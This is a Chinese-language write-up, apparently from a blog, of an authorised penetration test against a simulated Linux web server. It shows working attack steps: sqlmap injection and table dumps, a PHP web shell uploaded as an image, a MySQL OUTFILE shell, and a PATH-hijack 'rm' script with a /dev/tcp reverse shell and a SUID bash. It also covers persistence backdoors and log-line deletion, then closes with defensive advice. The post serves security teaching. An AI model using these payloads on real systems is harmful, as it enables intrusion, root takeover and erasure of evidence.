当前位置: 首页 > news >正文

从信息收集到权限提升:一次完整的Linux服务器渗透测试实战复盘

1. 一次典型的内部网络渗透测试复盘

最近在复盘一个内部授权的安全评估项目,代号“reven2”。这并非一个真实的外部攻击案例,而是一次在完全受控环境下,针对模拟生产环境的服务器进行的渗透测试演练。整个过程从外部信息收集开始,逐步深入,最终获取了目标服务器的最高权限。今天,我就把这个过程拆解开来,聊聊其中涉及的技术点、踩过的坑,以及一些在真实防御中值得注意的地方。无论你是刚入门的安全爱好者,还是负责运维想了解攻击者视角的工程师,希望这篇复盘能给你带来一些实操层面的启发。

这次测试的目标是一台对外提供Web服务的Linux服务器,模拟了一个中小型企业常见的业务场景。我们的目标是,在授权范围内,尽可能像一名真实的攻击者那样,找到进入系统的路径,并评估其可能造成的业务影响。整个流程大致遵循了标准的渗透测试方法论:信息收集、漏洞探测、漏洞利用、权限提升和痕迹清理。下面,我们就按这个顺序,一步步来看。

2. 前期踩点与信息收集:一切始于“看见”

渗透测试的第一步,永远不是直接上工具狂轰滥炸,而是安静地、细致地收集一切公开信息。这就像侦探破案前的现场勘查,信息越全面,后续的路径就越清晰。

2.1 被动信息收集:不惊动目标的侦察

我们首先从被动信息收集开始。所谓“被动”,就是只利用公开渠道的信息,不与目标服务器发生直接交互,避免触发告警。

  • 域名与IP关联分析:我们拿到了目标的域名,比如reven2.demo.com。通过一些在线工具或命令行(如dignslookup),我们解析出其对应的公网IP地址。接着,我们反查这个IP上是否绑定了其他域名。有时候,一个IP可能承载多个业务系统,某个不起眼的子域名或测试站点,其安全防护可能比主站薄弱得多,这就能成为突破口。
  • 子域名枚举:这是关键一步。我们使用了像subfinderamass这样的工具,结合字典,对demo.com进行子域名爆破。结果发现了一个dev.reven2.demo.com和一个test.reven2.demo.com。通常,开发(dev)和测试(test)环境的安全策略和生产环境(prod)不一致,可能存在未修复的漏洞或弱口令。
  • 历史记录与代码仓库:我们搜索了GitHub、GitLab等公开代码托管平台,看是否有员工误将包含密码、API密钥、内部架构图的代码仓库设置为公开。虽然在这个模拟案例中没有直接发现,但这在真实场景中是一个极高危的风险点。我们还检查了站点的历史快照(如通过Wayback Machine),看看旧版本网页是否泄露了敏感信息,比如后台登录地址、接口文档等。

注意:被动信息收集的边界很重要。只能收集完全公开的信息,任何尝试登录、爆破、扫描未公开目录的行为都不属于“被动”范畴,必须在获得明确授权后才能进行。

2.2 主动信息收集:与目标的初次“接触”

在被动信息勾勒出大致轮廓后,我们开始进行有限的主动探测。此时,我们已与目标IP建立了连接。

  • 端口扫描与服务识别:这是重头戏。我们使用Nmap进行扫描。但绝不是简单的nmap -A target_ip。为了平衡效率和隐蔽性,我们采用了分阶段策略:

    1. 快速扫描nmap -sS -T4 -F target_ip。使用SYN半开放扫描(-sS),快速扫描最常见的100个端口(-F)。
    2. 全端口扫描:针对上一步发现开放端口的主机,进行更全面的扫描:nmap -sS -T4 -p- target_ip-p-表示扫描所有65535个端口。
    3. 服务版本探测:对开放的端口,进行细致的服务和版本探测:nmap -sV -sC -O -p [开放端口列表] target_ip-sV探测服务版本,-sC使用默认脚本进行更深入的探测(可能触发告警,需谨慎),-O尝试识别操作系统。 扫描结果显示,目标服务器(假设IP为 192.168.1.100)开放了以下几个关键端口:
    • 22/tcp:SSH服务。版本显示为 OpenSSH 7.6p1。
    • 80/tcp:HTTP服务。运行着 Apache 2.4.29。
    • 443/tcp:HTTPS服务。同样为 Apache。
    • 3306/tcp:MySQL数据库。这是内部服务,通常不应对外,但这里模拟了配置错误的情况。
    • 8080/tcp:另一个HTTP服务,运行着一个 Java 应用(可能是 Jenkins、Tomcat 管理后台等)。
  • Web应用指纹识别:针对80和443端口,我们使用whatweb或浏览器插件(如 Wappalyzer)来识别Web技术栈,比如前端框架(jQuery、Vue)、后端语言(PHP版本)、中间件(Apache模块)、CMS(如WordPress版本)等。这里发现主站是一个基于ThinkPHP 5.0.x 的定制应用。

  • 目录与文件枚举:使用gobusterdirsearch等工具,对Web根目录进行字典爆破,寻找隐藏的目录、备份文件、配置文件等。常用字典如common.txt,directory-list-2.3-medium.txt

    gobuster dir -u http://reven2.demo.com -w /usr/share/wordlists/dirb/common.txt -t 50

    这个步骤发现了/admin(后台登录入口)、/upload(文件上传点)、/phpinfo.php(一个不应存在的测试文件)以及/backup.zip(网站备份文件,严重失误!)。

信息收集阶段到此,我们已经有了一个清晰的攻击面清单:一个ThinkPHP应用、一个可能的管理后台、一个开放的MySQL、一个未知的8080端口服务,以及一个泄露的备份文件。

3. 漏洞探测与利用:寻找那扇未关好的门

手握信息清单,我们开始验证其中可能存在的安全隐患。攻击路径往往不是一条直线,而是需要多尝试、多组合。

3.1 Web入口突破:从备份文件到代码审计

首先处理那个唾手可得的果实:/backup.zip。下载解压后,我们获得了网站的全部源代码。这简直是给攻击者开了“上帝视角”。

  • 代码审计:我们立即开始审计代码,重点关注:

    1. 数据库配置文件:通常在类似application/database.phpconfig/database.php中。我们成功找到了MySQL的连接配置:用户名reven2_dbuser,密码R3v3n2@2023!(一个强密码,但泄露了就没意义了)。数据库地址是localhost
    2. 身份验证逻辑:查看用户登录、会话管理的代码,寻找逻辑漏洞。例如,是否存在密码修改处不验证旧密码、验证码可绕过、越权访问等。
    3. 反序列化入口:ThinkPHP历史上存在过反序列化漏洞,我们检查了是否存在接收用户输入并直接进行unserialize()操作的地方。
    4. 文件上传功能:在代码中定位到/upload对应的控制器,分析其过滤逻辑。发现它对上传文件的检查仅在前端JavaScript进行,后端仅检查了文件MIME类型为image/jpegimage/png,但没有对文件扩展名进行严格校验,也没有重命名文件。
  • 利用数据库密码:虽然3306端口对外,但我们可以尝试用得到的密码连接。然而,在外部网络直接连接localhost:3306是不通的,因为MySQL绑定在127.0.0.1。这个密码的用武之地不在这里,但我们先记下。

3.2 攻击8080端口服务:薄弱的Jenkins

接下来探查8080端口。浏览器访问http://192.168.1.100:8080,发现是Jenkins控制台,版本是 2.346.1。Jenkins是一个强大的CI/CD工具,如果配置不当,其权限等同于服务器权限。

  • 默认口令与弱口令尝试:Jenkins默认安装后可能未启用身份验证,或者管理员使用了弱口令。我们尝试了常见的默认口令组合(admin/admin, jenkins/jenkins等)以及弱口令字典,但都没有成功。页面上也没有“注册”功能。
  • 搜索公开漏洞:我们查询了该版本Jenkins的公开漏洞。发现 Jenkins 在较新版本中安全机制较强,直接利用远程代码执行(RCE)漏洞需要一定的前置条件或更高权限。但我们的信息收集显示,这台服务器可能运维水平一般(从备份文件泄露可看出),因此我们尝试另一种思路:未授权访问脚本控制台
  • Groovy脚本执行:在某些旧版本或错误配置下,Jenkins的“脚本命令行”(/script)或通过项目构建中的“执行Shell”步骤可能被未授权或低权限用户访问。我们通过目录扫描,并未发现可直接访问的/script。但我们在备份的源代码里,发现了一个Jenkinsfile(用于流水线定义)。这提示我们,开发团队可能在使用Pipeline。如果我们能控制一个具有构建权限的Job,就能执行命令。但目前我们没有Jenkins账户。

3.3 主站ThinkPHP应用测试:组合拳出击

主站是我们重点攻击目标。结合代码审计和黑盒测试:

  • SQL注入测试:对发现的所有参数(GET/POST)使用sqlmap进行自动化测试。命令如下:
    sqlmap -u "http://reven2.demo.com/user/profile?id=1" --batch --level 3 --risk 2
    经过测试,在用户个人资料页面的id参数处,发现了基于时间的盲注(Time-Based Blind)。这证实了应用存在SQL注入漏洞。
  • 文件上传绕过:我们编写了一个简单的图片马,在文件开头加入GIF89a的幻数,后面拼接PHP代码<?php system($_REQUEST['cmd']);?>,保存为shell.gif.php。然后通过拦截上传请求(使用Burp Suite),将Content-Type修改为image/png,成功上传到了/uploads/202305/目录。访问这个文件,并附加参数?cmd=whoami,成功返回了Web服务的运行用户www-data。我们获得了第一个Web Shell。
  • 利用SQL注入扩大战果:虽然有了Web Shell,但权限是www-data,受限较多。我们回过头利用SQL注入。使用sqlmap--os-shell参数尝试直接获取一个交互式shell,但失败了,可能是因为数据库用户权限不足或存在某些限制。于是我们转向数据窃取:
    sqlmap -u "http://reven2.demo.com/user/profile?id=1" --batch --dump -D app_db -T users
    我们成功导出了用户表,获得了所有用户的用户名和密码哈希(MD5加密)。通过在线彩虹表碰撞,我们破解了几个弱密码用户的哈希,其中有一个是后台管理员admin的密码admin123

3.4 横向移动:进入管理后台与数据库

现在我们有了两个武器:一个低权限Web Shell (www-data) 和一组后台凭证 (admin/admin123)。

  • 登录管理后台:使用admin/admin123成功登录http://reven2.demo.com/admin。后台功能强大,包含文件管理、数据库管理、命令执行(用于服务器维护)等模块。这相当于拿到了一个更稳定的“官方后门”。
  • 通过后台利用数据库密码:在后台的“数据库管理”功能中,我们找到了一个“SQL命令行”工具。我们尝试用之前从代码中泄露的数据库密码R3v3n2@2023!连接本地MySQL。成功了!我们在Web后台直接拥有了一个MySQL的交互环境,用户是reven2_dbuser
  • 数据库提权探索:我们检查了MySQL用户的权限:SELECT USER(), CURRENT_USER();显示确实是reven2_dbuser@localhost。执行SHOW GRANTS;发现该用户拥有GRANT ALL PRIVILEGES ON *.*权限!这是一个拥有超级权限的数据库用户。在MySQL中,高权限数据库用户可以通过函数(如sys_exec,但需要安装插件)或写入特定文件来执行系统命令。我们尝试用SELECT ... INTO OUTFILE向Web目录写入一个PHP文件:
    SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/reven2/shell2.php';
    但执行失败,提示权限错误。原因是数据库进程(mysqld)的运行用户(通常是mysql)对Web目录/var/www/html没有写权限。这条路暂时不通。

至此,我们拥有:一个低权限Web Shell、一个高权限的Web后台、一个高权限的数据库连接。但我们的目标是最高的系统权限(root)。下一步,就是权限提升。

4. 权限提升:从www-data到root

在Linux系统中,从普通用户(如www-data)提升到root用户,通常有几种路径:利用内核漏洞、利用SUID/GUID错误配置的程序、利用以root权限运行的定时任务(Cron Jobs)、利用环境变量劫持等。

4.1 信息收集:立足点侦查

首先,我们从已有的Web Shell(www-data权限)收集系统内部信息。

  • 系统与内核信息
    uname -a # 查看内核版本 cat /etc/issue /etc/*-release # 查看系统发行版 cat /proc/version
    输出显示系统是 Ubuntu 18.04.6 LTS,内核版本是 4.15.0-213-generic。
  • 用户与权限信息
    id # 当前用户信息 sudo -l # 检查当前用户能以sudo方式运行哪些命令(需要密码) cat /etc/passwd # 查看所有用户 ls -la /home # 查看home目录
    sudo -l要求输入www-data的密码,我们不知道,此路暂时不通。
  • 进程与服务
    ps aux | grep root # 查看root运行的进程 systemctl list-units --type=service --state=running # 查看运行的服务
  • SUID/GUID文件查找:这是提权的经典路径。查找设置了SUID位且属主是root的文件。
    find / -perm -u=s -type f 2>/dev/null
    在返回的列表中,除了常见的/bin/ping/bin/su等,我们发现了一个不常见的二进制文件:/usr/local/bin/log_cleaner
  • 定时任务
    crontab -l # 查看当前用户的定时任务 ls -la /etc/cron* # 查看系统定时任务目录 cat /etc/crontab
    发现一个root用户定义的定时任务,每分钟以root身份执行一次/usr/local/bin/log_cleaner

4.2 分析提权向量:脆弱的自定义脚本

/usr/local/bin/log_cleaner同时满足了两个条件:1. 设置了SUID位(-rwsr-xr-x),意味着执行时以文件所有者(root)的权限运行。2. 被root的cron定时执行。

我们检查这个文件:

ls -la /usr/local/bin/log_cleaner file /usr/local/bin/log_cleaner

它是一个ELF可执行文件。我们尝试运行它,发现它只是简单地删除/var/log/app/目录下的一些日志文件。下一步,我们需要检查它是否有漏洞。

  • 检查依赖与环境:使用ldd查看其动态链接库,使用strings查看其中的字符串。

    ldd /usr/local/bin/log_cleaner strings /usr/local/bin/log_cleaner | head -30

    strings输出中,我们看到它内部调用了system(“rm /var/log/app/*.log”)。这是一个危险信号!它使用了相对路径rm,而不是绝对路径/bin/rm

  • 利用PATH环境变量劫持:当程序使用相对命令(如rm)时,系统会在PATH环境变量指定的目录列表中寻找名为rm的可执行文件。如果我们可以控制PATH,并让我们自己的恶意rm脚本优先被找到,那么当log_cleaner以root权限执行时,就会运行我们的脚本。

    1. 首先,确认我们有目录的写权限。我们在/tmp目录下操作,www-data用户通常有写权限。
    2. 创建一个恶意的rm脚本:
      cd /tmp echo '#!/bin/bash' > rm echo '/bin/bash -c “/bin/bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1”' >> rm chmod +x rm
      这个脚本会尝试反弹一个shell到我们的攻击机。但更简单直接的方法是设置SUID的bash:
      echo '#!/bin/bash' > rm echo 'chmod u+s /bin/bash' >> rm # 让/bin/bash获得SUID位 chmod +x rm
    3. 修改当前会话的PATH环境变量,将/tmp放在最前面:
      export PATH=/tmp:$PATH
    4. 然后,执行/usr/local/bin/log_cleaner。由于它是SUID root,会以root权限运行,并在执行system(“rm ...”)时,使用我们PATH中的恶意rm脚本。
    5. 执行后,检查/bin/bash的权限:ls -la /bin/bash。如果成功,会发现-rwsr-xr-x,表示bash现在有了SUID位。
    6. 最后,通过bash -p启动一个bash,-p参数告诉bash保留有效用户ID(即root),这样我们就获得了一个root shell:bash -p,执行id确认,显示uid=33(www-data) gid=33(www-data) euid=0(root),我们成功了!

实操心得:这种提权方式在现实中并不少见,尤其是在运维人员编写的自定义管理脚本中。防御的关键在于:第一,所有在脚本中调用的系统命令,务必使用绝对路径(如/bin/rm)。第二,严格控制自定义SUID程序的创建,并定期审计。第三,避免使用system()这类危险函数,如果必须使用,要对参数进行严格的过滤和校验。

4.3 备选方案:内核漏洞提权

如果上面的方法失败,我们会转向内核漏洞。根据收集到的内核版本(4.15.0-213),我们去搜索公开的漏洞利用代码(Exploit)。例如,著名的DirtyPipe(CVE-2022-0847)影响内核5.8及以上,不适用。我们可能会尝试一些旧的漏洞,如OverlayFS(CVE-2021-3493)等。使用内核漏洞提权通常更直接,但风险也更高,可能造成系统崩溃(在授权测试中需谨慎)。我们会先在本地相同版本的环境中测试成功后再在目标上使用。

5. 后渗透与痕迹清理:善后工作

获得root权限后,渗透测试并未结束。我们需要评估影响,并模拟攻击者可能进行的操作,同时也要清理痕迹(在授权范围内,仅为演示目的)。

  • 信息收集(root视角):查看敏感文件,如/etc/shadow(密码哈希)、/root/.bash_history(root操作历史)、/home/*下的用户文件、数据库中的所有数据等。
  • 植入持久化后门:模拟攻击者可能会做的事情,例如:
    • /etc/ssh/sshd_config中添加一个后门用户或允许密码登录。
    • 创建一个新的具有sudo权限的用户。
    • 在定时任务(/etc/crontab)中插入一个反向shell的定时任务。
    • 替换常用的系统命令(如lsps)为植入后门的版本。
    • 安装rootkit(在真实测试中需极度谨慎,通常不建议,除非客户明确要求)。
  • 清理日志:攻击者会尝试抹除自己的活动记录。需要清理的日志包括:
    • /var/log/auth.log(认证日志,记录SSH登录等)
    • /var/log/apache2/access.logerror.log(Web访问日志)
    • /var/log/syslog
    • ~/.bash_history(当前用户和root的) 清理方法可以是直接删除日志文件(但会引起怀疑),更隐蔽的是使用sed等工具删除包含自己IP地址或特定时间段的日志行。例如:
    sed -i '/192.168.1.50/d' /var/log/apache2/access.log # 删除包含攻击者IP的行
    但要注意,现代系统通常配置了日志审计服务(如auditd)或日志远程传输,本地删除可能无效。

6. 总结与防御建议

复盘整个“reven2”服务器的渗透过程,根本原因在于安全漏洞的叠加和纵深防御的缺失。单一的中危漏洞(如SQL注入)可能无法直接导致沦陷,但当它与配置错误(备份文件泄露、数据库弱口令/外网暴露)、权限问题(SUID程序PATH劫持)组合在一起时,就形成了一条完整的攻击链。

给防御方的几点核心建议:

  1. 最小权限原则:这是黄金法则。Web应用运行用户(如www-data)只应拥有其必需的最小权限。数据库用户不应使用root或拥有全局权限,应按库、按表授权。服务器上的自定义脚本绝不应设置SUID位,如果必须,要进行严格的安全审计。
  2. 输入验证与输出编码:对所有用户输入进行严格的校验和过滤,使用参数化查询(预编译语句)彻底杜绝SQL注入。文件上传功能要对文件内容、扩展名、MIME类型进行多重检查,并重命名存储。
  3. 配置安全:禁止将源码备份文件、配置文件、日志文件等放置在Web可访问目录。生产环境关闭错误回显(如display_errors = Off)。及时更新系统和应用软件(如ThinkPHP、Jenkins、操作系统内核)到安全版本。非必要服务(如MySQL的3306端口)不应暴露在公网。
  4. 强化认证:杜绝弱口令,强制使用强密码并定期更换。对管理后台、关键系统(如Jenkins)启用双因素认证(2FA)。限制SSH登录,禁止root直接登录,使用密钥认证替代密码。
  5. 日志与监控:集中收集并监控所有关键日志(系统、网络、应用)。设置告警规则,对异常登录、大量扫描请求、敏感命令执行等行为进行实时告警。定期进行日志审计和安全扫描。
  6. 定期安全评估:最好的防御就是了解攻击。定期聘请专业团队或使用工具进行渗透测试和漏洞扫描,主动发现并修复安全隐患,而不要等到被真正的攻击者利用。

渗透测试的本质是模拟攻击,以攻促防。通过复盘这样的过程,我们能更深刻地理解防御体系中的薄弱环节在哪里。安全是一个持续的过程,没有一劳永逸的解决方案,只有将安全意识和最佳实践融入到系统设计、开发、运维的每一个环节,才能构建起真正有效的防御纵深。

http://www.gsyq.cn/news/1591073.html

相关文章:

  • 我想认真做一件小事:让孩子和家长更好地互动
  • Rademacher公式在pod2(n)精确计算中的应用与实现
  • LLaMA Factory:100+大模型统一微调平台
  • 跨境电商进入中东:客服做不好,你连第一单都接不到
  • 文档下载终极解决方案:如何绕过30+平台限制获取任意可见内容
  • 区域PACS源码,java云PACS源码,影像归档系统源码,自主产品,适合二开
  • 人工智能参与工业化精密加工的物理效率
  • Webug4.0文件上传漏洞实战:从JS绕过到.htaccess攻击全解析
  • JMeter代理服务器配置与脚本录制实战指南
  • 玄通数据,专业用户行为数据分析 SaaS 系统正式入驻企业应用市场
  • 线弹性有限元计算机床自重,并添加切削力负载
  • 从势函数到声子谱:材料计算中的晶格动力学原理与实操指南
  • 逆向工程基础:如何读懂没有源代码的二进制程序
  • 学术打假越来越像流量生意,MedPeer用技术做了一件不一样的事
  • 纤维素纳米纤维接枝聚丙烯酸(CNF-g-PAA)pH响应水凝胶的性能
  • 如何通过RDP Wrapper Library解锁Windows多用户远程桌面功能?
  • 【每日复盘与反思】2026.6.25
  • 跨越语言的二进制光纤(下篇):gRPC 微服务重构与 HTTP/2 多路复用深度拆解
  • Sunshine游戏串流完全指南:打造个人专属云游戏服务器终极教程
  • DMX 报 Agent RPC error (-1): com.kingbase8.utiL.KSQLException: ERROR: relation “sys _database“ does n
  • 锌离子Zn2+响应水凝胶的结构与响应机制
  • 2026软考系规备考:金钟老师是谁?为什么他适合带零基础?
  • 用心做事,方知生活真味
  • 把卖点翻译成购买理由:食品品牌增长链路的结构化方法
  • 如何写一个正确的二分查找?
  • CryptoHack Writeup——Modular Exponentiation:理解RSA中的模幂运算
  • N_m3u8DL-RE:跨平台流媒体下载工具,支持点播和直播
  • 5~60V 恒流驱动HI7002替代惠海 H5116 聚能芯半导体智芯电子一级代理
  • 分类变量编码实战:从数据类型诊断到生产级Pipeline
  • PostgreSQL 一键批量修复所有表序列值